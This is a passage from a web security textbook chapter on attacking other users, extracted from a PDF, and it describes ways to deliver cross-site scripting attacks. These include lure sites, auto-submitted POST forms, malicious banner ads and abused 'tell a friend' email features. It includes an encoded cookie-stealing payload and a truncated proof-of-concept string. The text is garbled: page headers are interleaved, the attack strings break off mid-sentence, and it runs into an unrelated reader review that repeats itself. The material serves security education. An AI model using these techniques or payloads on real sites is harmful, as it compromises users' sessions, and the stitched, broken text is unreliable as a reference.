Content and code on third-party web sites can be used to generate requests that trigger XSS flaws. For example, wahh-innocuous.com might contain interesting content as an inducement for users to visit, but it may also contain scripts that cause the user’s browser to make requests containing XSS payloads to a vulnerable application. If a user is logged in to the vulnerable application, and happens to browse wahhinnocuous.com, then the user’s session with the vulnerable application will be compromised. Having created a suitable web site, an attacker may use search engine manipulation techniques to generate visits from suitable users — for
399
70779c12.qxd:WileyRed
400
9/14/07
Chapter 12
■
3:14 PM
Page 400
Attacking Other Users
example, by placing relevant keywords within the site content and linking to the site using relevant expressions. This delivery mechanism has nothing to do with phishing, however — the attacker’s site does not attempt to impersonate the site that it is targeting. Note that this delivery mechanism can enable an attacker to exploit reflected and DOM-based XSS vulnerabilities that can be triggered only via POST requests. With these vulnerabilities, there is obviously not a simple URL that can be fed to a victim user to deliver an attack. However, a malicious web site may contain an HTML form that uses the POST method and has the vulnerable application as its target URL. JavaScript or navigational controls on the page can be used to submit the form, successfully exploiting the vulnerability. ■■
In a variation on the third-party web site attack, some attackers have been known to pay for banner advertisements that link to a URL containing an XSS payload for a vulnerable application. If a user is logged in to the vulnerable application, and clicks on the ad, then her session with that application is compromised. Because many providers use keywords to assign advertisements to pages that are related to them, cases have even arisen where an ad attacking a particular application is assigned to the pages of that application itself! This not only lends credibility to the attack but also guarantees that someone who clicks on the ad is using the vulnerable application at the moment the attack strikes. Further, because many banner ad providers charge on a per-click basis, this technique effectively enables an attacker to “buy” a specific number of user sessions.
■■
Many web applications implement a function to “tell a friend” or send feedback to site administrators. This function often enables a user to generate an email with arbitrary content and recipients. An attacker may be able to leverage this functionality to deliver an XSS attack via an email that actually originates from the organization’s own server, increasing the likelihood that even technically knowledgeable users and anti-malware software will accept it.
Delivering Stored XSS Attacks There are two kinds of delivery mechanisms for stored XSS attacks: in-band and out-of-band. In-band delivery applies in most cases and is used when the data that is the subject of the vulnerability is supplied to the application via its main web
70779c12.qxd:WileyRed
9/14/07
3:14 PM
Page 401
Chapter 12
■
Attacking Other Users
interface. Common locations where user-controllable data may eventually be displayed to other users include: ■■
Personal information fields — name, address, email, telephone, and the like.
■■
Names of documents, uploaded files, and other items.
■■
Feedback or questions to application administrators.
■■
Messages, comments, questions, and the like to other application users.
■■
Anything that is recorded in application logs and displayed in-browser to administrators, such as URLs, usernames, HTTP Referer, User-Agent, and the like.
In these cases, the XSS payload is delivered simply by submitting it to the relevant page within the application and then waiting for victims to view the malicious data. Out-of-band delivery applies in cases where the data that is the subject of the vulnerability is supplied to the application through some other channel. The application receives data via this channel and ultimately renders it within HTML pages that are generated within its main web interface. An example of this delivery mechanism is the attack already described against web mail applications, which involves sending malicious data to an SMTP server, which is eventually displayed to users within an HTML-formatted email message.
Finding and Exploiting XSS Vulnerabilities A basic approach to identifying XSS vulnerabilities is to use a standard proofof-concept attack string such as the following: “>
This string is submitted as every parameter to every page of the application, and responses are monitored for the appearance of this same string. If cases are found where the attack string appears unmodified within the response, then the application is almost certainly vulnerable to XSS. If your intention is simply to identify some instance of XSS within the application as quickly as possible in order to launch an attack against other application users, then this basic approach is probably the most effective, because it can be highly automated and produces minimal false positives. However, if your objective is to perform a comprehensive test of the application, designed to locate as many individual vulnerabilities as possible, then the basic approach needs to be supplemented with more sophisticated techniques. There are several different
401
70779c12.qxd:WileyRed
402
9/14/07
Chapter 12
■
3:14 PM
Page 402
Attacking Other Users
ways in which XSS vulnerabilities may exist within an application that will not be identified via the basic approach to detection: ■■
Many applications implement rudimentary blacklist-based filters in an attempt to prevent XSS attacks. These filters typically look for expressions like “%3e%3cscript%3ealert(document.cookie)%3c/script%3e “>
I find this book to be a good reference. As a beginner pen-tester, i'm learning the ropes and this book makes sense in some parts and doesn't make sense in others. It's probably because it's huge - with so many pages, it's aiming to take care of so many topics and cover subject matter for both newbie pen-testers and experienced pen-testers.
I think as time goes on, the book will become even more useful for me. For the price and the staggering amount of detail and information, it's a no-brainer. This is basically a fantastic reference book and knowledge-base for anyone who is serious about digital security.
I think as time goes on, the book will become even more useful for me. For the price and the staggering amount of detail and information, it's a no-brainer. This is basically a fantastic reference book and knowledge-base for anyone who is serious about digital security.